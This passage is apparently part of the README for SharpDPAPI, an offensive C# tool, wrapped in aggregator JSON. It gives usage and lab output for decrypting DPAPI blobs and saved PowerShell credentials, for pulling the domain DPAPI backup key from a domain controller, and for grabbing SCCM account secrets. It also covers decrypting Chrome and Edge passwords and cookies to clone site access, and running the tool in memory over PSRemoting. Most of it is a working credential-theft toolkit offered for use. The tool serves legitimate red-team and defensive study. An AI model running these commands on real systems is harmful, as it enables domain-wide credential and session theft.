C:\\Temp\\cred.xml\r\n        Accessed         : 7/25/2019 12:04:12 PM\r\n        Modified         : 7/25/2019 12:04:12 PM\r\n        User Name        : TESTLAB\\user\r\n        guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}\r\n        size             : 170\r\n        flags            : 0x0\r\n        algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)\r\n        description      :\r\n        Password         : Password123!\r\n\r\n\r\nUsing a domain DPAPI backup key to first decrypt any discoverable masterkeys:\r\n\r\n    PS C:\\Temp\u003e $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\r\n    PS C:\\Temp\u003e New-Object System.Management.Automation.PSCredential('TESTLAB\\user', $SecPassword) | Export-CLIXml C:\\Temp\\cred.xml\r\n    PS C:\\Temp\u003e .\\SharpDPAPI.exe ps /target:C:\\Temp\\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.5.0\r\n\r\n\r\n    [*] Action: Describe PSCredential .xml\r\n\r\n    [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n\r\n    [*] User master key cache:\r\n\r\n    {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3\r\n\r\n        CredFile         : C:\\Temp\\cred.xml\r\n        Accessed         : 7/25/2019 12:04:12 PM\r\n        Modified         : 7/25/2019 12:04:12 PM\r\n        User Name        : TESTLAB\\user\r\n        guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}\r\n        size             : 170\r\n        flags            : 0x0\r\n        algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)\r\n        description      :\r\n        Password         : Password123!\r\n\r\n\r\n#### blob\r\n\r\nThe **blob** command will describe/decrypt a DPAPI blob. A `/target:\u003cBASE64|blob.bin\u003e` *must* be supplied.\r\n\r\nThe command will a) decrypt the blob with any \"{GUID}:SHA1\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nThe `/unprotect` flag will use CryptUnprotectData() to decrypt the blob without masterkeys needed, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).\r\n\r\nDecrypt a blob using CryptProtectData() (the `/unprotect` flag):\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe blob /target:C:\\Temp\\blob.bin /unprotect\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.5.0\r\n\r\n\r\n    [*] Action: Describe DPAPI blob\r\n\r\n    [*] Using CryptUnprotectData() for decryption.\r\n\r\n        guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}\r\n        size             : 170\r\n        flags            : 0x0\r\n        algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)\r\n        description      :\r\n        dec(blob)        : Password123!\r\n\r\n\r\nUsing domain {GUID}:SHA1 masterkey mappings:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe blob /target:C:\\Temp\\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.5.0\r\n\r\n\r\n    [*] Action: Describe DPAPI blob\r\n\r\n    [*] Using CryptUnprotectData() for decryption.\r\n\r\n        guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}\r\n        size             : 314\r\n        flags            : 0x0\r\n        algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)\r\n        description      :\r\n        dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...\r\n\r\n\r\nUsing a domain DPAPI backup key to first decrypt any discoverable masterkeys:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe blob /target:C:\\Temp\\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.5.0\r\n\r\n\r\n    [*] Action: Describe DPAPI blob\r\n\r\n    [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n\r\n    [*] User master key cache:\r\n\r\n    {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3\r\n\r\n        guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}\r\n        size             : 314\r\n        flags            : 0x0\r\n        algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)\r\n        description      :\r\n        dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...\r\n\r\n\r\n#### backupkey\r\n\r\nThe **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)\r\n\r\nDomain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.\r\n\r\nThe `/nowrap` flag will prevent wrapping the base64 key on display.\r\n\r\nThis base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** module, or used in blob/file /pvk:X form with the **masterkeys**, **credentials**, or **vault** SharpDPAPI commands.\r\n\r\nBy default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.\r\n\r\nRetrieve the DPAPI backup key for the current domain controller:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe backupkey\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: Retrieve domain DPAPI backup key\r\n\r\n\r\n    [*] Using current domain controller  : PRIMARY.testlab.local\r\n    [*] Preferred backupkey Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8\r\n    [*] Full preferred backupKeyName     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8\r\n    [*] Key :\r\n              HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...\r\n\r\n\r\nRetrieve the DPAPI backup key for the specified DC, outputting the backup key to a file:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: Retrieve domain DPAPI backup key\r\n\r\n\r\n    [*] Using server                     : primary.testlab.local\r\n    [*] Preferred backupkey Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8\r\n    [*] Full preferred backupKeyName     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8\r\n    [*] Backup key written to            : key.pvk\r\n\r\n\r\n#### search\r\nThe **search** command will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage:\r\n```\r\nSharpDPAPI.exe search /type:registry [/path:HKLM\\path\\to\\key] [/showErrors]\r\nSharpDPAPI.exe search /type:folder /path:C:\\path\\to\\folder [/maxBytes:\u003cnumOfBytes\u003e] [/showErrors]\r\nSharpDPAPI.exe search /type:file /path:C:\\path\\to\\file [/maxBytes:\u003cnumOfBytes\u003e]\r\nSharpDPAPI.exe search /type:base64 [/base:\u003cbase64 string\u003e]\r\n```\r\nThe `search` command works by searching for the following bytes, which represent the header (Version + DPAPI provider GUID) of DPAPI blob structure:\r\n\r\n```\r\n0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB\r\n```\r\n\r\nThe search command has different arguments depending on the data type being scanned. To designate the data type, use the `/type` argument specifying `registry`, `folder`, `file`, or `base64`. If the `/type` argument is not present, the command will search the registry by default.\r\n\r\nWhen searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use `/path` parameter to specify a root to key to search from (e.g. `/path:HKLM\\Software`) and use the `/showErrors` argument to display errors that occuring during enumeration.\r\n\r\nWhen searching a file or folder, specify a path with `/path:C:\\Path\\to\\file\\or\\folder` and optionally use `/maxBytes:\u003cint\u003e` to specify the number of bytes to read from each file (default: 1024 bytes). The command will read the bytes from the beginning of the file and search for DPAPI blobs. Use `/showErrors` to display an errors that occur during enumeration.\r\n\r\nWhen searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:\u003cbase64 str\u003e` parameter.\r\n\r\n#### SCCM\r\nIf elevated on a machine that is an SCCM client, if the SCCM environment is configured with a Network Access Account (NAA), the system master key-protected DPAPI blobs containing the NAA credentials can be retrieved via WMI; The **SCCM** command will query the blobs via WMI, retrieve the system master keys, and decrypt the blobs.\r\n\r\n## SharpChrome Commands\r\n\r\n### logins\r\n\r\nThe **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged.\r\n\r\nLogin Data files can also be decrypted with a) any \"{GUID}:SHA1 {GUID}:SHA1 ...\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nA specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` or `/password` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.\r\n\r\nBy default, logins are displayed in a csv format. This can be modified with `/format:table` for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with `/showall`.\r\n\r\nIf run from an elevated context, Login Data files for ALL users will be triaged, otherwise only Login Data files for the current user will be processed.\r\n\r\n### cookies\r\n\r\nThe **cookies** command will search for Chromium 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. You can change the target application using the `/browser:\u003cVALUE\u003e` (e.g., edge, brave, slack).\r\n\r\nCookie files can also be decrypted with a) any \"{GUID}:SHA1 {GUID}:SHA1 ...\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nA specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` or `/password` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.\r\n\r\nBy default, cookies are displayed in a csv format. This can be modified with `/format:table` for table output, or `/format:json` for output importable by [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en). Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with `/showall`.\r\n\r\nIf run from an elevated context, Cookie files for ALL users will be triaged, otherwise only Cookie files for the current user will be processed.\r\n\r\nThe **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites.\r\n\r\n### statekeys\r\n\r\nBy default, the **statekeys** command will search for Chromium-based applications (Google Chrome, Edge, Brave, and Slack), locate their AES statekey files (e.g., 'AppData\\Local\\Google\\Chrome\\User Data\\Local State' and 'AppData\\Local\\Microsoft\\Edge\\User Data\\Local State'), and decrypt them using the same type of arguments that can be supplied for `cookies` and `logins`. You may also supply the path to a specific state-key file using the `/target:` parameter (e.g., `\"/target:C:\\Users\\Test\\appdata\\Local\\Google\\Chrome\\User Data\\Local State\"`).\r\n\r\nState keys can also be decrypted with a) any \"{GUID}:SHA1 {GUID}:SHA1 ...\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nIf run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed.\r\n\r\n### backupkey\r\n\r\nThe **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)\r\n\r\nDomain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.\r\n\r\nThe `/nowrap` flag will prevent wrapping the base64 key on display.\r\n\r\nThis base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** module, or used in blob/file /pvk:X form with the **masterkeys**, **credentials**, or **vault** SharpDPAPI commands.\r\n\r\nBy default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.\r\n\r\n\r\n## Compile Instructions\r\n\r\nWe are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)\r\n\r\nSharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose \"Release\", and build.\r\n\r\n### Targeting other .NET versions\r\n\r\nSharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to **Project** -\u003e **SharpDPAPI Properties** and change the \"Target framework\" to another version.\r\n\r\n### Sidenote: Running SharpDPAPI Through PowerShell\r\n\r\nIf you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly:\r\n\r\n    [Convert]::ToBase64String([IO.File]::ReadAllBytes(\"C:\\Temp\\SharpDPAPI.exe\")) | Out-File -Encoding ASCII C:\\Temp\\SharpDPAPI.txt\r\n\r\nSharpDPAPI can then be loaded in a PowerShell script with the following (where \"aa...\" is replaced with the base64-encoded SharpDPAPI assembly string):\r\n\r\n    $SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String(\"aa...\"))\r\n\r\nThe Main() method and any arguments can then be invoked as follows:\r\n\r\n    [SharpDPAPI.Program]::Main(\"machinemasterkeys\")\r\n\r\n#### Sidenote Sidenote: Running SharpDPAPI Over PSRemoting\r\n\r\nDue to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that.\r\n\r\nIf you follow the instructions in [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell) to create a SharpDPAPI.ps1, append something like the following to the script:\r\n\r\n    [SharpDPAPI.Program]::MainString(\"machinemasterkeys\")\r\n\r\nYou should then be able to run SharpDPAPI over PSRemoting with something like the following:\r\n\r\n    $s = New-PSSession dc.theshire.local\r\n    Invoke-Command -Session $s -FilePath C:\\Temp\\SharpDPAPI.ps1\r\n\r\nAlternatively, SharpDPAPI `/consoleoutfile:C:\\FILE.txt` argument will redirect all output streams to the specified file.\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FGhostPack%2FSharpDPAPI","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FGhostPack%2FSharpDPAPI","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FGhostPack%2FSharpDPAPI/lists"}